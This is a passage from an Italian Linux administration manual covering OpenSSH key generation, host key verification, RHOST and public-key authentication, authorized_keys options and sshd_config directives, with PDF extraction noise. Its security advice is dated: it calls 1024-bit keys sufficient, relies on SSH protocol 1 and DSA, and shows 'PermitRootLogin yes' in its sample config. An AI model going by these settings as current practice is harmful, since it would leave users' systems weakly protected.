Eventualmente può essere necessario creare un’altra coppia di file anche neiclienti che intendo-no sfruttare un’autenticazione RHOST+RSA, anche in questo caso, senzaparola d’ordine. Infi-ne, ogni utente che vuole utilizzare un’autenticazione RSA pura e semplice deve generare unapropria coppia di chiavi, proteggendo possibilmente la chiave privata con unaparola d’ordine.

Quando si creano coppie di chiavi da collocare nell’ambito della propriadirectory personale,se ne prepara solitamente una coppia sola, decidendo implicitamente la versione del protocolloSECSH che verrà usato per quello scopo.

Il modello sintattico complessivo di‘ssh-keygen ’ è molto semplice e si può riassumere così:

ssh-keygen [ opzioni]

Il suo scopo è quello di generare e modificare una coppia di chiavi in altrettanti file distinti: unoper la chiave privata, che eventualmente può essere anche cifrata, e uno contenente la chiavepubblica, a cui generalmente viene aggiunta l’estensione‘ .pub ’ .

1OpenSSH licenza speciale

2188

Page 205: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

OpenSSH 2189

La cifratura della chiave privata viene fatta generalmente perché questa non possa essere rubata;infatti, se non si utilizza questa precauzione, occorre fare in modo che nessuno possa riuscirea raggiungere il file in lettura. In pratica, una chiave privata di un utente comune,deveesseresempre cifrata, perché l’utente‘ root ’ potrebbe accedere al file corrispondente.

La coppia di chiavi che si genera, sia nel file della parte privata, sia in quello della parte pubblica,può contenere un commento utile ad annotare lo scopo di quella chiave. Convenzionalmente,viene generato automaticamente un commento corrispondente all’indirizzo di posta elettronicadell’utente che l’ha generata.

In corrispondenza della creazione di una chiave, viene generato anche il file‘~/.ssh/

random_seed ’ , che serve come supporto alla creazione di chiavi sufficientemente «casuali».Ogni volta che lo stesso utente genera una nuova chiave, il vecchio file‘~/.ssh/random_seed ’viene riutilizzato e aggiornato di conseguenza.

Il file ‘~/.ssh/random_seed ’ e quelli delle chiavi private, devono essere accessibili soloall’utente proprietario.

Segue l’elenco delle opzioni più comuni:

-b n_bit

permette di definire la dimensione della chiave in bit, tenendoconto che la dimensione minima è di 512 bit, mentre il valorepredefinito è di 1024, che è ancora ritenuto sufficiente per unlivello di sicurezza normale;

-f file

permette di definire esplicitamente il nome del file della chia-ve privata da generare, dove poi il nome della chiave pub-blica è ottenuto semplicemente con l’aggiunta dell’estensione‘ .pub ’ ;

-pconsente di modificare laparola d’ordine che protegge unachiave privata già esistente, in modo interattivo;

-N parola_d’ordinepermette di indicare laparola d’ordine da usare per proteggerela chiave privata nella riga di comando;

-t rsa1-t rsa-t dsa

permette di specificare il tipo di chiavi da generare, tenendoconto che il tipo‘ rsa1 ’ è utilizzabile solo per la versione 1del protocollo SECSH, mentre gli altri due tipi sono adattialla versione 2.

A seconda del tipo di chiavi che si generano, i file predefiniti hanno un nome differente, alloscopo di consentire la gestione simultanea di tutti i tipi di chiave disponibili:

‘~/.ssh/identity ’‘~/.ssh/identity.pub ’

per una coppia di chiavi RSA adatta alla versione 1 delprotocollo SECSH;

‘~/.ssh/id_rsa ’‘~/.ssh/id_rsa.pub ’

per una coppia di chiavi RSA adatta alla versione 2 delprotocollo SECSH;

‘~/.ssh/id_dsa ’‘~/.ssh/id_dsa.pub ’

per una coppia di chiavi DSA adatta alla versione 2 delprotocollo SECSH.

Una volta installatoOpenSSH, se si intende far funzionare ilservente in modo da accettare tutti itipi di protocollo, vanno create le varie coppie di chiavi nella directory‘ /etc/ssh/ ’ , attraversoi passaggi seguenti. In particolare, si osservi che non si possono proteggere le chiavi private conunaparola d’ordine, altrimenti ilservente non potrebbe lavorare in modo autonomo.

# ssh-keygen -t rsa1 ←→-f /etc/ssh/ssh_host_key -N ’’

Crea la coppia di chiavi RSA perla versione 1 del protocollo, neifile ‘ /etc/ssh/ssh_host_key ’ e‘ /etc/ssh/ssh_host_key.pub ’ .

Page 206: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2190 OpenSSH

# ssh-keygen -t rsa ←→-f /etc/ssh/ssh_host_rsa_key -N ’’

Crea la coppia di chiavi RSAper la versione 2 del proto-collo, nei file ‘ /etc/ssh/

ssh_host_rsa_key ’ e ‘ /etc/

ssh/ssh_host_rsa_key.pub ’ .

# ssh-keygen -t dsa ←→-f /etc/ssh/ssh_host_dsa_key -N ’’

Crea la coppia di chiavi DSAper la versione 2 del proto-collo, nei file ‘ /etc/ssh/

ssh_host_dsa_key ’ e ‘ /etc/

ssh/ssh_host_dsa_key.pub ’ .

Naturalmente, se lo si desidera, si può usare anche l’opzione‘ -b ’ per specificare una lunghezzadella chiave diversa dal valore predefinito.

L’utente comune che desidera creare le proprie coppie di chiavi, per utilizzare poi delle formedi autenticazione basate sul riconoscimento delle chiavi stesse, può agire secondo i passaggiseguenti, avendo cura di definire unaparola d’ordine per proteggere le chiavi private. Si osserviche non viene indicato il nome dei file, perché si fa riferimento alle collocazioni predefinite.Naturalmente, anche in questo caso l’utente può usare l’opzione‘ -p ’ se intende ottenere unadimensione particolare della chiave.

# ssh-keygen -t rsa1

Crea la coppia di chiavi RSA perla versione 1 del protocollo, nei fi-le predefiniti ‘~/.ssh/identity ’ e‘~/.ssh/identity.pub ’ .

# ssh-keygen -t rsa

Crea la coppia di chiavi RSA perla versione 2 del protocollo, nei fi-le predefiniti‘~/.ssh/id_rsa ’ e ‘~/

.ssh/id_rsa.pub ’ .

# ssh-keygen -t dsa

Crea la coppia di chiavi DSA perla versione 2 del protocollo, nei fi-le predefiniti‘~/.ssh/id_dsa ’ e ‘~/

.ssh/id_dsa.pub ’ .

202.3 Verifica dell’identità dei serventi

Nei clienti è possibile predisporre il file‘ /etc/ssh/ssh_known_hosts ’ con l’elenco dellechiavi pubbliche deiserventi a cui ci si collega frequentemente. In aggiunta, ogni utente deiclienti può avere il proprio file‘~/.ssh/known_hosts ’ , per le chiavi pubbliche che non sianogià presenti nel file‘ /etc/ssh/ssh_known_hosts ’ .

Quando uncliente si collega la prima volta a unserventeOpenSSH, se la sua chiave pubblicanon è già stata inserita nel file‘ /etc/ssh/ssh_known_hosts ’ , viene proposto all’utente diaggiungere quella chiave pubblica nel file‘~/.ssh/known_hosts ’ .The authenticity of host ’dinkel.brot.dg (192.168.1.1)’ can’t be established.RSA key fingerprint is dc:16:d5:2b:20:c5:2b:7b:69:1c:72:cc:d1:26:99:8b.Are you sure you want to continue connecting (yes/no)?

yes [ Invio ]

Host ’dinkel.brot.dg’ added to the list of known hosts.

In un secondo momento, se per qualche motivo la chiave di unservente, già conosciuta in pre-cedenza da uncliente (attraverso il file‘ /etc/ssh/ssh_known_hosts ’ , oppure attraverso ifile ‘~/.ssh/known_hosts ’ ), dovesse essere cambiata, talecliente non riconoscerebbe più ilservente e avviserebbe l’utente:

Page 207: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

OpenSSH 2191

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!Someone could be eavesdropping on you right now (man-in-the-middle attack)!It is also possible that the RSA host key has just been changed.The fingerprint for the RSA key sent by the remote host isdc:16:d5:2b:20:c5:2b:7b:69:1c:72:cc:d1:26:99:8b.Please contact your system administrator.Add correct host key in /home/tizio/.ssh/known_hosts to get rid of this message.Offending key in /home/tizio/.ssh/known_hosts:6RSA host key for localhost has changed and you have requested strict checking.Host key verification failed.

In questo caso, come suggerisce il messaggio, è sufficiente modificare il file‘~/.ssh/

known_hosts ’ alla sesta riga, per fare in modo che questo contenga il riferimento alla nuovachiave pubblica delservente.

Volendo intervenire a mano in questo file (‘~/.ssh/known_hosts ’ o ‘ /etc/ssh/

ssh_known_hosts ’), conviene conoscere come questo è organizzato.

Il file può contenere commenti, rappresentati dalle righe che iniziano con il simbolo‘#’ , ri-ghe vuote, che vengono ignorate ugualmente; per il resto si tratta di righe contenenti ognunal’informazione sulla chiave pubblica di unservente particolare.

Queste righe significative sono composte in uno dei modi seguenti, dove i vari elementi sonoseparati da uno o più spazi.

host lunghezza_della_chiave esponente modulo

host tipo_di_chiave chiave_pubblica

Tanto per fare un esempio, l’ipotetico elaboratorelinux.brot.dg potrebbe richiedere la rigaseguente (abbreviata per motivi tipografici) per una chiave RSA adatta al protocollo SECSHversione 1:

roggen.brot.dg 1024 35 136994665376544565821 ...04907660021407562333675433

Oppure, potrebbe trattarsi di una riga simile a quella seguente per una chiave RSA adatta alprotocollo SECSH versione 2:

roggen.brot.dg ssh-rsa AAAAB3NzaC1yc2EAAAAB ...IwAAAgEAnhvScnWn3hCXk7W90=

Evidentemente, data la dimensione delle chiavi, è improbabile che queste vengano ricopiate at-traverso la digitazione diretta. Questi dati vengono ritagliati normalmente dal file della chiavepubblica a cui si riferiscono. A titolo di esempio, i file delle chiavi pubbliche corrispondenti aquanto già mostrato, avrebbero potuto essere composti dalla riga:

1024 35 136994665376544565821 ...04907660021407562333675433 [email protected]

oppure:

ssh-rsa AAAAB3NzaC1yc2EAAAAB ...IwAAAgEAnhvScnWn3hCXk7W90= [email protected]

Comunque, quando si vuole intervenire nel file‘ /etc/ssh/ssh_known_hosts ’ , anche se que-sta operazione può avvenire solo in modo manuale, rimane sempre la possibilità di ottenere laprima volta l’aggiornamento automatico del file‘~/.ssh/known_hosts ’ , dal quale poi si puòtagliare e incollare quanto serve nel file‘ /etc/ssh/ssh_known_hosts ’ , senza altre modifiche.

Page 208: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2192 OpenSSH

202.4 Autenticazione RHOST

L’autenticazione RHOST, come già accennato, è un metodo semplice e insicuro di autenticarel’accesso attraverso la tecnica dei file‘ /etc/hosts.equiv ’ e ‘~/.rhosts ’ già utilizzata da‘ rlogin ’ .

In alternativa a questi file,OpenSSH può utilizzare la coppia‘ /etc/ssh/shosts.equiv ’ e ‘~/

.shosts ’ , in modo da poter essere configurato indipendentemente da‘ rlogin ’ e ‘ rsh ’ .

Perché questa tecnica di autenticazione possa essere utilizzata, è necessario configurare‘sshd ’ ,ovvero il demone diOpenSSH. Diversamente, in modo predefinito, l’autenticazione RHOST nonviene concessa.

È bene sottolineare che questo tipo di sistema di accesso facilitato è assolutamente sconsi-gliabile. La disponibilità di questo metodo si giustifica solo per motivazioni storiche collegateall’uso di programmi comeRsh. In ogni caso, occorre considerare cheOpenSSH non consentedi usare questo sistema di autenticazione se i permessi di accesso a questi file non sono ab-bastanza ristretti. Pertanto, il più delle volte, quando si tenta di attuare questo tipo di sistema,l’autenticazione fallisce.

L’esempio seguente mostra il contenuto del file‘ /etc/ssh/shosts.equiv ’ , oppure di‘ /etc/

hosts.equiv ’ , di un elaboratore per il quale si vuole consentire l’accesso da parte didinkel.brot.dg e di roggen.brot.dg .

dinkel.brot.dgroggen.brot.dg

In questo modo, gli utenti deinodidinkel.brot.dg eroggen.brot.dg possono accedereal sistema locale senza la richiesta formale di alcuna identificazione, purché esista per loro unutente con lo stesso nome.

L’elenco dinodi equivalenti può contenere anche l’indicazione di utenti particolari, per la pre-cisione, ogni riga può contenere il nome di unnodo seguito eventualmente dauno spazioe dalnome di un utente. Si osservi l’esempio seguente:

dinkel.brot.dgroggen.brot.dgdinkel.brot.dg tiziodinkel.brot.dg caio

Come nell’esempio precedente, viene concesso agli utenti deinodi dinkel.brot.dg eroggen.brot.dg di accedere localmente attraverso lo stesso nominativo utilizzato nei si-stemi remoti. In aggiunta a questo, però, viene concesso agli utenti‘ tizio ’ e ‘caio ’ del no-do dinkel.brot.dg , di accedere identificandosi con il nome di qualunque utente, senza larichiesta di alcunaparola d’ordine.

Si può intuire che fare una cosa del genere significa concedere a tali utenti privilegi similia quelli che ha l’utente‘ root ’ . In generale, tali utenti non dovrebbero essere in grado diutilizzare UID molto bassi, ma comunque ciò non è un buon motivo per configurare in questomodo il file ‘ /etc/ssh/shosts.equiv ’ o ‘ /etc/hosts.equiv ’ .

Indipendentemente dal fatto che il file‘ /etc/ssh/shosts.equiv ’ , oppure ‘ /etc/

hosts.equiv ’ , sia presente o meno, ogni utente può predisporre il proprio file‘~/.shosts ’ ,oppure‘~/.rhosts ’ . La sintassi di questo file è la stessa di‘ /etc/ssh/shosts.equiv ’ (e di‘ /etc/hosts.equiv ’), ma si riferisce esclusivamente all’utente che predispone tale file nellapropriadirectory personale.

Page 209: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

OpenSSH 2193

In questo file, l’indicazione di utenti precisi è utile e opportuna, perché quell’utente potrebbedisporre di nominativi-utente differenti suinodi da cui vuole accedere.

dinkel.brot.dg tiziroggen.brot.dg tizio

L’esempio mostra l’indicazione precisa di ogni nominativo-utente deinodi che possono accederesenza richiesta di identificazione.2

202.5 Autenticazione RHOST sommata al riconoscimentodella chiave pubblica

L’autenticazione RHOST può essere sommata a quella del riconoscimento della chiave pubblica,utilizza gli stessi file già visti nell’autenticazione RHOST normale, ma in più richiede che ilclien-te sia riconosciuto. Perché ciò avvenga, occorre che ilcliente abbia una propria chiave, cioè ab-bia definito la coppia di file‘ /etc/ssh/ssh_host_key ’ e ‘ /etc/ssh/ssh_host_key.pub ’ ,e che la sua parte pubblica sia annotata nel file‘ /etc/ssh/ssh_known_hosts ’ del servente,oppure nel file‘~/.ssh/known_hosts ’ riferito all’utente che dalcliente vuole accedere.

In generale, non è necessario questo tipo di autenticazione mista, che di solito è anche disa-bilitata in modo predefinito. Infatti, è sufficiente che sia disponibile un’autenticazione basatasul controllo della chiave pubblica, senza altre restrizioni.

202.6 Autenticazione basata sul controllo della chiavepubblica

L’autenticazione basata sul controllo della chiave pubblica, pura e semplice, permette di rag-giungere un livello di garanzia ulteriore. Per il suo utilizzo, l’utente deve creare una propriacoppia di chiavi per ogni tipo di protocollo che intenda usare (i file‘~/.ssh/identity ’ e‘~/.ssh/identity.pub ’ , oppure‘~/.ssh/id_rsa ’ e ‘~/.ssh/id_rsa.pub ’ , oppure‘~/

.ssh/id_dsa ’ e ‘~/.ssh/id_dsa.pub ’) presso l’elaboratorecliente. Data la situazione, comeè già stato descritto, è opportuno che la chiave privata sia protetta con unaparola d’ordine.

Per accedere a unservente utilizzando questo tipo di autenticazione, occorre che l’utente aggiun-ga nel file‘~/.ssh/authorized_keys ’ presso ilservente, le sue chiavi pubbliche definite nelnodocliente.

Perché il sistema di autenticazione basato sulla verifica delle chiavi funzioni, è necessarioche i permessi dei file coinvolti e delle stesse directory non consentano l’intromissione diestranei. In particolare, può darsi che venga rifiutato questo tipo di autenticazione se ladi-rectory personale o anche solo‘~/.ssh/ ’ dispongono dei permessi di scrittura per il gruppoproprietario.

L’utente che utilizza questo tipo di sistema di autenticazione, potrebbe usare le stesse chiavida tutti i clienti da cui intende accedere alservente, oppure potrebbe usare chiavi differenti,aggiungendole tutte al file‘~/.ssh/authorized_keys ’ del servente.

Quando si stabilisce una connessione con questo tipo di autenticazione, se la chiave privatadell’utente è cifrata attraverso unaparola d’ordine, si ottiene un messaggio come quello seguente:

2Si deve fare attenzione al fatto che tra il nome delnodo e il nome dell’utente ci deve essere uno spazio.

Page 210: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2194 OpenSSH

Enter passphrase for RSA key ’[email protected]’:

Diversamente, se le chiave privata coinvolta non è cifrata, per l’accesso non è richiesto altro.

In pratica, per concedere l’accesso attraverso questa forma di autenticazione, è sufficiente ag-giungere nel file‘~/.ssh/authorized_keys ’ le chiavi pubbliche delle utenze che interessano,prelevandole dai file‘~/.ssh/id * .pub ’ contenuti neinodi clienti rispettivi.

L’esempio seguente mostra un ipotetico file‘~/.ssh/authorized_keys ’ contenente il riferi-mento a sei chiavi. La parte finale, quella alfabetica, è la descrizione della chiave, il cui unicoscopo è quello di permetterne il riconoscimento a livello umano.

1024 33 12042598236 ...2812113669326781175018394671 [email protected] AAAAB3NzaC1 ...erMIqmsserVBqIuP1JHUivfY7VU= [email protected] AAAAB3NzaC1 ...kc3MgA83UkVTtCLsS42GBGR3wA== [email protected] 33 13485193076 ...7811672325283614604572016919 [email protected] AAAAB3NzaC1 ...erGTRDbMIqmssIuP1JHUivfY7VU= [email protected] AAAAB3NzaC1 ...kc3MgA8HYjGrDCLsS42GBGR3wA== [email protected]

In realtà, le righe di questo file potrebbero essere più complesse, con l’aggiunta di un campoiniziale, contenente delle opzioni. Queste opzioni, facoltative, sono una serie di direttive separateda una virgola e senza spazi aggiunti. Eventualmente, le stringhe contenenti spazi devono essereracchiuse tra coppie di apici doppi; inoltre, se queste stringhe devono contenere un apice doppio,questo può essere indicato proteggendolo con la barra obliqua inversa (‘ \" ’ ).

from=" elenco_modelli"

Permette di limitare l’accesso. Con un elenco di modelli,eventualmente composto con caratteri jolly (‘* ’ , ‘?’), si pos-sono indicare i nomi deinodi a cui è concesso oppure è nega-to l’accesso. Per la precisione, i modelli che iniziano con unpunto esclamativo si riferiscono a nomi cui l’accesso vienevietato espressamente.

command="comando"

Permette di abbinare una chiave a un comando. In pratica, chiaccede utilizzando questa chiave, invece di ottenere unashell,ottiene l’esecuzione del comando indicato e subito dopo laconnessione ha termine. Di solito, si abbina questa opzione a‘no-pty ’ e a‘no-port-forwarding ’ .

no-port-forwarding Vieta espressamente l’inoltro del TCP/IP.no-X11-forwarding Vieta espressamente l’inoltro del protocollo X11.

no-ptyImpedisce l’allocazione di uno pseudo terminale (pseudoTTY).

Vengono mostrati alcuni esempi nell’elenco seguente.

from="*.brot.dg,!schwarz.brot.dg" ←→1024 35 234 ...56556 [email protected]

Concede l’accesso con la chiave in-dicata, solo al dominiobrot.dg ,escludendo espressamente il nomeschwarz.brot.dg .

command="ls" 1024 35 2346543 ...8757465456556 ←→[email protected]

Chi tenta di accedere utilizzando que-sta chiave, ottiene semplicemente l’e-secuzione del comando‘ ls ’ nelladirectory corrente, cioè ladirectorypersonale dell’utente corrispondente.

command="tar czpf ←→/home/tizio/backup/lettere.tar.gz ←→/home/tizio/lettere" ←→1024 35 234 ...56556 [email protected]

Chi tenta di accedere utilizzando que-sta chiave, ottiene semplicemente l’ar-chiviazione della directory‘ /home/

tizio/lettere/ ’ .

Page 211: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

OpenSSH 2195

command="ls",no-port-forwarding,no-pty ←→1024 35 2346543 ...8757465456556 ←→[email protected]

Chi tenta di accedere utilizzando que-sta chiave, ottiene semplicemente l’e-secuzione del comando‘ ls ’ ; inoltre,per sicurezza viene impedito l’inol-tro del TCP/IP e l’allocazione di unopseudo TTY.

202.7 Autenticazione normale

QuandoOpenSSH non è in grado di eseguire alcun altro tipo di autenticazione, ripiega nell’usodel sistema tradizionale, in cui viene richiesta laparola d’ordine abbinata al nominativo-utentecon cui si vuole accedere.

Ciò rappresenta anche l’utilizzo normale diOpenSSH, il cui scopo principale è quello di garantirela sicurezza della connessione attraverso la cifratura e il riconoscimento delservente. Infatti, perottenere questo livello di funzionamento, è sufficiente che nelservente venga definita la chiave,attraverso i file‘ /etc/ssh/ssh_host_key ’ e ‘ /etc/ssh/ssh_host_key.pub ’ , mentre neiclienti non serve nulla, a parte l’installazione diOpenSSH.

Quando un utente si connette per la prima volta a unservente determinato, da uncliente par-ticolare, la chiave pubblica di quelservente viene annotata automaticamente nel file‘~/.ssh/

known_hosts ’ , permettendo il controllo successivo su quelservente.

Quindi, attraverso l’autenticazione normale, tutti i problemi legati alla registrazione delle variechiavi pubbliche vengono risolti in modo automatico e quasi trasparente.

202.8 Servente OpenSSH

Il servizio di OpenSSH viene offerto tramite un demone, il programma‘sshd ’ , che deve essereavviato durante l’inizializzazione del sistema, oppure, se compilato con le opzioni necessarie,può essere messo sotto il controllo delsupervisore dei servizi di rete.

Generalmente si preferisce avviare‘sshd ’ in modo indipendente dalsupervisore dei servizi di re-te, perché a ogni avvio richiede un po’ di tempo per la generazione di chiavi aggiuntive utilizzateper la cifratura.

La sintassi per l’utilizzo di questo demone si può riassumere semplicemente nel modelloseguente:

sshd [ opzioni]

‘sshd ’ , una volta avviato e dopo aver letto la sua configurazione, si comporta in maniera un po’diversa, a seconda che sia stato abilitato l’uso della versione 1 o 2 del protocollo SECSH.

In generale, quando uncliente si connette,‘sshd ’ avvia una copia di se stesso per la nuova con-nessione, quindi, attraverso la chiave pubblica delservente inizia una sorta di negoziazione cheporta alla definizione di un algoritmo crittografico da usare e di una chiave simmetrica che vienescambiata tra le parti, sempre in modo cifrato. Successivamente, si passa alla fase di autenti-cazione dell’utente, secondo uno dei vari metodi già descritti, in base a quanto stabilito nellaconfigurazione di‘sshd ’ . Infine, il cliente richiede l’avvio di unashell o di un altro comando.

OpenSSH ignora il file‘ /etc/securetty ’ , per cui gli accessi dell’utente‘ root ’ possonoessere regolati solo attraverso la configurazione del file‘ /etc/ssh/sshd_config ’ .

Page 212: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2196 OpenSSH

Vengono descritte alcune opzioni di‘sshd ’ :

Page 213: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

OpenSSH 2197

-f file_di_configurazionePermette di fare utilizzare a‘sshd ’ un file di configura-zione differente da quello standard, ovvero‘ /etc/ssh/

sshd_config ’ .

-h file_della_chiave_dell’host

Permette di fare utilizzare a‘sshd ’ una chiave delnodo di-versa da quella contenuta nel file standard. Si deve indica-re solo il nome della chiave privata, intendendo che il nomedel file contenente la chiave pubblica si ottiene con l’aggiuntadell’estensione‘ .pub ’ .

-dFa sì che‘sshd ’ funzioni in primo piano, allo scopo di seguireuna sola connessione per verificarne il funzionamento.

-eSi usa in abbinamento con‘ -d ’ , per ottenere le informazionidiagnostiche attraverso lostandard error.

Il file di configurazione‘ /etc/ssh/sshd_config ’ permette di definire il comportamento di‘sshd ’ . Il file può contenere righe di commento, evidenziate dal simbolo‘#’ iniziale, righe vuote(che vengono ignorate) e righe contenenti direttive, composte da coppienome valore, spaziate,senza alcun simbolo di assegnamento.

Quello che segue è un file‘ /etc/ssh/sshd_config ’ tipico, adatto per le due versioni delprotocollo SSH, in modo simultaneo:

# La porta usata per ricevere le richieste di comunicazionePort 22

# Direttive per restringere l’accessibilità del servizio#ListenAddress ::#ListenAddress 0.0.0.0

# Definizione delle versioni del protocollo utilizzabiliProtocol 2,1

# Collocazione della coppia di chiavi per il protocollo 1HostKey /etc/ssh/ssh_host_key

# Collocazione delle coppie di chiavi per il protocollo 2HostKey /etc/ssh/ssh_host_rsa_keyHostKey /etc/ssh/ssh_host_dsa_key

# Durata di validità per la chiave generata automaticamente per la versione 1KeyRegenerationInterval 3600ServerKeyBits 768

# Livello di informazioni nel registroSyslogFacility AUTHLogLevel INFO

# AutenticazioneLoginGraceTime 600PermitRootLogin yesStrictModes yesRSAAuthentication yesPubkeyAuthentication yes#AuthorizedKeysFile %h/.ssh/authorized_keys

# Disabilita l’autenticazione RHOSTS e la sua combinazione con# il sistema della chiave pubblicaRhostsAuthentication noIgnoreRhosts yesRhostsRSAAuthentication noHostbasedAuthentication noIgnoreUserKnownHosts yes

Page 214: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2198 OpenSSH

# Non consente l’uso di parole d’ordine vuotePermitEmptyPasswords no

# Uncomment to disable s/key passwords#ChallengeResponseAuthentication no

# Consente l’autenticazione basata sul riconoscimento della parola d’ordinePasswordAuthentication yes

# Use PAM authentication via keyboard-interactive so PAM modules can# properly interface with the userPAMAuthenticationViaKbdInt yes

# To change Kerberos options#KerberosAuthentication no#KerberosOrLocalPasswd yes#AFSTokenPassing no#KerberosTicketCleanup no

# Kerberos TGT Passing does only work with the AFS kaserver#KerberosTgtPassing yes

X11Forwarding noX11DisplayOffset 10PrintMotd no#PrintLastLog noKeepAlive yes#UseLogin no

#MaxStartups 10:30:60#Banner /etc/issue.net#ReverseMappingCheck yes

Subsystem sftp /usr/lib/sftp-server

Si osservi che i nomi usati nelle direttive sono sensibili alla differenza tra maiuscole e minuscole.Segue la descrizione di alcune direttive di configurazione.

Protocol n[ , m] ...Consente di indicare quali versioni del protocollo SECSHutilizzare.

AllowUsers modello...

Deny modello...

Queste due direttive permettono di definire uno o più modelli(attraverso l’uso dei caratteri jolly‘* ’ e ‘?’) riferiti a nomi diutenti a cui si intende concedere, oppure vietare l’accesso. Sequeste direttive non vengono usate, si concede a qualunqueutente di accedere.

HostKey file

Questa direttiva può essere usata anche più volte, per indicarei file contenenti le chiavi private delnodo. L’utilizzo multiplodella direttiva serve proprio per indicare chiavi diverse, adatteai diversi protocolli.

LoginGraceTime durataPermette di stabilire il tempo massimo concesso per comple-tare laprocedura di accesso. Il valore predefinito è di 600 s,pari a 10 minuti.

PasswordAuthentication ←→ yes| no

Stabilisce se l’autenticazione attraverso laparola d’ordine èconsentita oppure no. Il valore predefinito è‘yes ’ , cosa chepermette questo tipo di autenticazione.

PermitEmptyPasswords ←→ yes| no

Se l’autenticazione attraverso unaparola d’ordine è consen-tita, permette di stabilire se sono ammesse leparole d’ordinenulle. Il valore predefinito è‘yes ’ .

Page 215: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

OpenSSH 2199

PermitRootLogin yes←→| without-password ←

→| forced-commands-only | no

Permette di abilitare o meno l’accesso da parte dell’utente‘ root ’ . Il valore predefinito è‘yes ’ che consente questo ac-cesso in qualunque forma di autenticazione,‘no ’ lo esclu-de in ogni caso, mentre‘without-password ’ esclude so-lo la forma di autenticazione attraverso unaparola d’ordinee ‘ forced-commands-only ’ consente di eseguire solo deicomandi remoti, sempre escludendo l’autenticazione basatasullaparola d’ordine.

IgnoreRhosts yes| noPermette di ignorare i file‘~/.rhosts ’ e ‘~/.shosts ’ ,mentre, per quanto riguarda questa direttiva, i file‘ /etc/

hosts.equiv ’ e ‘ /etc/shosts.equiv ’ continuano aessere presi in considerazione. Il valore predefinito è‘no ’ .

RhostsAuthentication ←→ yes| no

Permette di abilitare o meno l’autenticazione RHOST, cioèquella basata esclusivamente sui file‘ /etc/hosts.equiv ’(o ‘ /etc/shosts.equiv ’ ) ed eventualmente‘~/.rhosts ’(o ‘~/.shosts ’ ). Per motivi di sicurezza, il valore predefinitoè ‘no ’ , per non autorizzare questa forma di autenticazione.

RhostsRSAAuthentication ←→ yes| no

Permette di abilitare o meno l’autenticazione RHOST som-mata al riconoscimento della chiave pubblica, per il proto-collo della versione 1. Il valore predefinito è‘no ’ , per nonautorizzare questa forma di autenticazione.

HostbasedAuthentication ←→ yes| no

Permette di abilitare o meno l’autenticazione RHOST som-mata al riconoscimento della chiave pubblica, per il proto-collo della versione 2. Il valore predefinito è‘no ’ , per nonautorizzare questa forma di autenticazione.

IgnoreUserKnownHosts ←→ yes| no

Permette di ignorare i file‘~/.ssh/known_hosts ’ degliutenti, durante l’autenticazione basata su RHOST somma-ta al riconoscimento della chiave pubblica. Il valore prede-finito è ‘no ’ , con il quale i file in questione vengono lettiregolarmente.

RSAAuthentication yes| noPermette di abilitare o meno l’autenticazione basata sullechiavi di ogni singolo utente, per quanto riguarda la versio-ne 1 del protocollo. Il valore predefinito è‘no ’ , che escludequesta forma di autenticazione.

PubkeyAuthentication ←→ yes| no

Permette di abilitare o meno l’autenticazione basata sullechiavi di ogni singolo utente, per quanto riguarda la versio-ne 2 del protocollo. Il valore predefinito è‘yes ’ , che consentequesta forma di autenticazione.

StrictModes yes| no

Se attivato, fa in modo che‘sshd ’ verifichi la proprietà deifile di configurazione nelledirectory personali degli utenti, ri-fiutando di considerare i file appartenenti a utenti «sbagliati»o con permessi non appropriati. Ciò permette di ridurre i ri-schi di intrusione e alterazione della configurazione da partedi terzi che potrebbero sfruttare le dimenticanze degli utentiinesperti per sostituirsi a loro. Il valore predefinito è‘yes ’ .

202.9 Cliente OpenSSH

Il programma usato comecliente per le connessioni conOpenSSH è‘ssh ’ , il quale emu-la il comportamento del suo predecessore,‘ rsh ’ , almeno per ciò che riguarda la sintassifondamentale.

A fianco di ‘ssh ’ c’è anche‘scp ’ , che comunque si avvale del primo, per facilitare le operazionidi copia tra elaboratori.

